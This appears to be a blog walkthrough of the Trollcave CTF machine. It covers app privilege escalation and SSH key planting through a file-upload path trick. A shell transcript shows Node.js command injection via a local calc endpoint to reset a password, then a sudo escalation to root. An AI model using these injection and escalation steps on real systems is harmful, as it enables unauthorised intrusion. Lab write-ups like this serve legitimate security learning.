As we found in part 2 we are now able to promote users to moderator and knowing the integer values equal the user privilege level:
Based on this a test of the promotion methods is required to detect if there is a flaw in how the user is promoted and if it can be incremented until we are admin or superadmin?
Based on the user list user Kev is chosen for the test so the following is carried out:
As admin we find a post stating the “The King is Dead, Long live the King”
From the post by dragon we can see user king is taking a break and dragon now has superadmin powers, so the escalation path is to gain dragon’s credentials, steal cookies or find information in dragon’s control panel that will assist escalation.
NOTE: Quite some time was spent trying cookie stealing via pm and comment posts directly to user dragon to now avail so now to find a new path.
Looking around the admin panel further I had overlooked an admin function in the users panel called “unmod”, a train of thought based on this and other failed attempts directly at dragon is as follows:
To check this I first run through the above against user Q who currently a moderator and this works as expected and I then test the 3 steps above against dragon with success.
Dragon Password Reset
After spending a huge amount of time exploring the upload feature once it was enabled but not really getting very far, albeit by giving a file alias we are able to upload to other file locations on the disk although I was unable to use this at the moment.
Then taking a step back and checking users posts as I forgot about post levels there was this by coderguy:
Here there is a complaint that the rails users is used to interact with the OS? So potentially we could use this for RCE or other vulnerability?
And there it was the lightbulb moment! Rails has a user account and can interact with the os, via the upload feature we are able to change the upload location by adjusting the “alternate file name” feature! so the test is if rails is a valid user account its possible it has a home directory? so we can potentially upload our public ssh key to authorized_keys and test access?
The theory of uploading our public key seemed to pay off and we are able to gain ssh access, which is much better than a reverse shell.
Testing the ssh access gives us a valid shell:
Based on running uname -a and a check against exploit db we find the kernel has a known vulnerability: https://www.exploit-db.com/exploits/44298/
I take a copy of the code and build this on my ubuntu machine then move the output binary to my attacking machine:
Once I got root I decided to look at the calc script that was seen in the king directory while looking around post exploit; it seems the calc script is a node js script that can be used to escalate to root also.
Rather than run through this in detail I have pasted the shell output and screen shot to keep this long blog from going into another page:
the following link which helped secure root:
From here we can leverage the calc js script and execute arbitrary commands as the king user, in order to escalate I merely changed the king user password:
rails@trollcave:/tmp$ pwd /tmp rails@trollcave:/tmp$ cat blah.sh #!/bin/bash echo "king:password"|sudo /usr/sbin/chpasswd >/tmp/tt.txt rails@trollcave:/tmp$ curl "localhost:8888/calc?sum=require('child_process').exec('/tmp/blah.sh')" [object Object]rails@trollcave:/tmp$ rails@trollcave:/tmp$ cat tt.txt rails@trollcave:/tmp$ su king Password: king@trollcave:/tmp$ id uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) king@trollcave:/tmp$ sudo su root@trollcave:/tmp# id uid=0(root) gid=0(root) groups=0(root) root@trollcave:/tmp# whoami root root@trollcave:/tmp# root@trollcave:/tmp# cd /r root/ run/ root@trollcave:/tmp# cd /root/ root@trollcave:~# ls flag.txt root@trollcave:~# cat flag.txt et tu, dragon? c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
Exploiting Sudo 1.8.27 The following brief is a quick demonstration of the issue faced by cve-2019-14287. This issue is presented when the user is allowed to run a specified command as any user other than the root user account, specified …
SMB LFI Exploitation The following outlines a very short overview of LFI using SMB in form of a crib sheet. Install Samba: apt-get install samba Remove default Samba config: rm -f /etc/samba/smb.conf Create New smb.conf: vi /etc/samba/smb.conf The following config …
Linux reverse shell without python. During a recent application exploit into an interactive shell the typical path to spawn a reverse shell and upgrade it to tty was sought. It was found that the go to technologies such as python, …